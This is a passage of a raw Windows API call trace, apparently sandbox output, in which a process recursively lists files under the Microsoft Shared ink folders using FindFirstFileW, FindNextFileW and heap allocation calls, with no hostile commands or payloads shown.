ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0165.890] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2e6e988 | out: lpFindFileData=0x2e6e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f7e6a73, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f7e6a73, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f7e6a73, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x4c2, dwReserved0=0x0, dwReserved1=0x0, cFileName="numbase.xml", cAlternateFileName="")) returned 1 [0165.890] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2e6e988 | out: lpFindFileData=0x2e6e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f7e6a73, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f7e6a73, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f7e6a73, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x4c2, dwReserved0=0x0, dwReserved1=0x0, cFileName="numbase.xml", cAlternateFileName="")) returned 0 [0165.890] FindClose (in: hFindFile=0x3722688 | out: hFindFile=0x3722688) returned 1 [0165.890] GetProcessHeap () returned 0x6a0000 [0165.890] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3757568 | out: hHeap=0x6a0000) returned 1 [0165.890] FindNextFileW (in: hFindFile=0x3722608, lpFindFileData=0x2e6ec10 | out: lpFindFileData=0x2e6ec10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f79a7b7, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f79a7b7, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f7c0915, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xd1, dwReserved0=0x0, dwReserved1=0x0, cFileName="numbers.xml", cAlternateFileName="")) returned 1 [0165.890] FindNextFileW (in: hFindFile=0x3722608, lpFindFileData=0x2e6ec10 | out: lpFindFileData=0x2e6ec10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="oskmenu", cAlternateFileName="")) returned 1 [0165.890] GetProcessHeap () returned 0x6a0000 [0165.890] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10000) returned 0x3757568 [0165.890] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu\\*", lpFindFileData=0x2e6e988 | out: lpFindFileData=0x2e6e988*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3722688 [0165.891] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2e6e988 | out: lpFindFileData=0x2e6e988*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0165.892] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2e6e988 | out: lpFindFileData=0x2e6e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f832d2f, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f832d2f, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f858e8d, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x1d7, dwReserved0=0x0, dwReserved1=0x0, cFileName="oskmenubase.xml", cAlternateFileName="")) returned 1 [0165.892] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2e6e988 | out: lpFindFileData=0x2e6e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f832d2f, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f832d2f, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f858e8d, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x1d7, dwReserved0=0x0, dwReserved1=0x0, cFileName="oskmenubase.xml", cAlternateFileName="")) returned 0 [0165.892] FindClose (in: hFindFile=0x3722688 | out: hFindFile=0x3722688) returned 1 [0165.892] GetProcessHeap () returned 0x6a0000 [0165.892] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3757568 | out: hHeap=0x6a0000) returned 1 [0165.892] FindNextFileW (in: hFindFile=0x3722608, lpFindFileData=0x2e6ec10 | out: lpFindFileData=0x2e6ec10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f80cbd1, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f80cbd1, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f832d2f, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xd7, dwReserved0=0x0, dwReserved1=0x0, cFileName="oskmenu.xml", cAlternateFileName="")) returned 1 [0165.892] FindNextFileW (in: hFindFile=0x3722608, lpFindFileData=0x2e6ec10 | out: lpFindFileData=0x2e6ec10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7c69c0, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7c69c0, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="osknumpad", cAlternateFileName="OSKNUM~1")) returned 1 [0165.892] GetProcessHeap () returned 0x6a0000 [0165.892] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10000) returned 0x3757568 [0165.892] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad\\*", lpFindFileData=0x2e6e988 | out: lpFindFileData=0x2e6e988*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7c69c0, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7c69c0, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3722688 [0165.892] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2e6e988 | out: lpFindFileData=0x2e6e988*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7c69c0, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7c69c0, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0165.892] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2e6e988 | out: lpFindFileData=0x2e6e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8fdda123, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8fdda123, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8fdda123, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x59d, dwReserved0=0x0, dwReserved1=0x0, cFileName="osknumpadbase.xml", cAlternateFileName="")) returned 1 [0165.892] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2e6e988 | out: lpFindFileData=0x2e6e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8fdda123, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8fdda123, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8fdda123, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x59d, dwReserved0=0x0, dwReserved1=0x0, cFileName="osknumpadbase.xml", cAlternateFileName="")) returned 0 [0165.892] FindClose (in: hFindFile=0x3722688 | out: hFindFile=0x3722688) returned 1 [0165.893] GetProcessHeap () returned 0x6a0000 [0165.893] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3757568 | out: hHeap=0x6a0000) returned 1 [0165.893] FindNextFileW (in: hFindFile=0x3722608, lpFindFileData=0x2e6ec10 | out: lpFindFileData=0x2e6ec10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8fdb3fc5, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8fdb3fc5, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8fdb3fc5, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xdb, dwReserved0=0x0, dwReserved1=0x0, cFileName="osknumpad.xml", cAlternateFileName="")) returned 1 [0165.893] FindNextFileW (in: hFindFile=0x3722608, lpFindFileData=0x2e6ec10 | out: lpFindFileData=0x2e6ec10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7c69c0, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7c69c0, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7c69c0, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="oskpred", cAlternateFileName="")) returned 1 [0165.893] GetProcessHeap () returned 0x6a0000 [0165.893] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10000) returned 0x3757568 [0165.893] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred\\*", lpFindFileData=0x2e6e988 | out: lpFindFileData=0x2e6e988*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7c69c0, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7c69c0, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7c69c0, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3722688 [0165.893] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2e6e988 | out: lpFindFileData=0x2e6e988*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7c69c0, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7c69c0, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7c69c0, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0165.893] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2e6e988 | out: lpFindFileData=0x2e6e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8fe263df, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8fe263df, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8fe263df, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x39c, dwReserved0=0x0, dwReserved1=0x0, cFileName="oskpredbase.xml", cAlternateFileName="")) returned 1 [0165.893] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2e6e988 | out: lpFindFileData=0x2e6e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8fe263df, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8fe263df, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8fe263df, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x39c, dwReserved0=0x0, dwReserved1=0x0, cFileName="oskpredbase.xml", cAlternateFileName="")) returned 0 [0165.893] FindClose (in: hFindFile=0x3722688 | out: hFindFile=0x3722688) returned 1 [0165.893] GetProcessHeap () returned 0x6a0000 [0165.893] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3757568 | out: hHeap=0x6a0000) returned 1 [0165.893] FindNextFileW (in: hFindFile=0x3722608, lpFindFileData=0x2e6ec10 | out: lpFindFileData=0x2e6ec10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8fe00281, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8fe00281, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8fe00281, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xd7, dwReserved0=0x0, dwReserved1=0x0, cFileName="oskpred.xml", cAlternateFileName="")) returned 1 [0165.894] FindNextFileW (in: hFindFile=0x3722608, lpFindFileData=0x2e6ec10 | out: lpFindFileData=0x2e6ec10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7c69c0, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="symbols", cAlternateFileName="")) returned 1 [0165.894] GetProcessHeap () returned 0x6a0000 [0165.894] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10000) returned 0x3757568 [0165.894] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\*", lpFindFileData=0x2e6e988 | out: lpFindFileData=0x2e6e988*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7c69c0, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3722688 [0165.894] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2e6e988 | out: lpFindFileData=0x2e6e988*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7c69c0, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0165.894] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2e6e988 | out: lpFindFileData=0x2e6e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1dc0758, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1dc0758, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x900155a5, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x2ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="ea-sym.xml", cAlternateFileName="")) returned 1 [0165.894] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2e6e988 | out: lpFindFileData=0x2e6e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d9a5fb, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1d9a5fb, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x900155a5, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x2ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja-jp-sym.xml", cAlternateFileName="")) returned 1 [0165.894] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2e6e988 | out: lpFindFileData=0x2e6e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9003b703, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x9003b703, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x90061861, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xacc, dwReserved0=0x0, dwReserved1=0x0, cFileName="symbase.xml", cAlternateFileName="")) returned 1 [0165.894] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2e6e988 | out: lpFindFileData=0x2e6e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9003b703, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x9003b703, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x90061861, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xacc, dwReserved0=0x0, dwReserved1=0x0, cFileName="symbase.xml", cAlternateFileName="")) returned 0 [0165.894] FindClose (in: hFindFile=0x3722688 | out: hFindFile=0x3722688) returned 1 [0165.895] GetProcessHeap () returned 0x6a0000 [0165.895] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3757568 | out: hHeap=0x6a0000) returned 1 [0165.895] FindNextFileW (in: hFindFile=0x3722608, lpFindFileData=0x2e6ec10 | out: lpFindFileData=0x2e6ec10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8fe7269b, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8fe7269b, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8fe7269b, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x24f, dwReserved0=0x0, dwReserved1=0x0, cFileName="symbols.xml", cAlternateFileName="")) returned 1 [0165.895] FindNextFileW (in: hFindFile=0x3722608, lpFindFileData=0x2e6ec10 | out: lpFindFileData=0x2e6ec10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7c69c0, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="web", cAlternateFileName="")) returned 1 [0165.895] GetProcessHeap () returned 0x6a0000 [0165.895] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10000) returned 0x3757568 [0165.895] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web\\*", lpFindFileData=0x2e6e988 | out: lpFindFileData=0x2e6e988*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7c69c0, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3722688 [0165.897] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2e6e988 | out: lpFindFileData=0x2e6e988*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7c69c0, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0165.897] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2e6e988 | out: lpFindFileData=0x2e6e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x900d3c7b, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x900d3c7b, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x900f9dd9, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x48e, dwReserved0=0x0, dwReserved1=0x0, cFileName="webbase.xml", cAlternateFileName="")) returned 1 [0165.897] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2e6e988 | out: lpFindFileData=0x2e6e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x900d3c7b, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x900d3c7b, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x900f9dd9, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x48e, dwReserved0=0x0, dwReserved1=0x0, cFileName="webbase.xml", cAlternateFileName="")) returned 0 [0165.897] FindClose (in: hFindFile=0x3722688 | out: hFindFile=0x3722688) returned 1 [0165.897] GetProcessHeap () returned 0x6a0000 [0165.897] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3757568 | out: hHeap=0x6a0000) returned 1 [0165.897] FindNextFileW (in: hFindFile=0x3722608, lpFindFileData=0x2e6ec10 | out: lpFindFileData=0x2e6ec10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90061861, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x90061861, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x90061861, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xcf, dwReserved0=0x0, dwReserved1=0x0, cFileName="web.xml", cAlternateFileName="")) returned 1 [0165.897] FindNextFileW (in: hFindFile=0x3722608, lpFindFileData=0x2e6ec10 | out: lpFindFileData=0x2e6ec10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90061861, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x90061861, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x90061861, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xcf, dwReserved0=0x0, dwReserved1=0x0, cFileName="web.xml", cAlternateFileName="")) returned 0 [0165.897] FindClose (in: hFindFile=0x3722608 | out: hFindFile=0x3722608) returned 1 [0165.897] GetProcessHeap () returned 0x6a0000 [0165.897] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3746558 | out: hHeap=0x6a0000) returned 1 [0165.897] FindNextFileW (in: hFindFile=0x3722548, lpFindFileData=0x2e6ee98 | out: lpFindFileData=0x2e6ee98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="he-IL", cAlternateFileName="")) returned 1 [0165.897] GetProcessHeap () returned 0x6a0000 [0165.897] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10000) returned 0x3746558 [0165.897] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\he-IL\\*", lpFindFileData=0x2e6ec10 | out: lpFindFileData=0x2e6ec10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3722608 [0165.898] FindNextFileW (in: hFindFile=0x3722608, lpFindFileData=0x2e6ec10 | out: lpFindFileData=0x2e6ec10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0165.898] FindNextFileW (in: hFindFile=0x3722608, lpFindFileData=0x2e6ec10 | out: lpFindFileData=0x2e6ec10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2bbf40b, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe2dd4721, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe2dd4721, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0165.898] FindNextFileW (in: hFindFile=0x3722608, lpFindFileData=0x2e6ec10 | out: lpFindFileData=0x2e6ec10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2bbf40b, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe2dd4721, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe2dd4721, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, 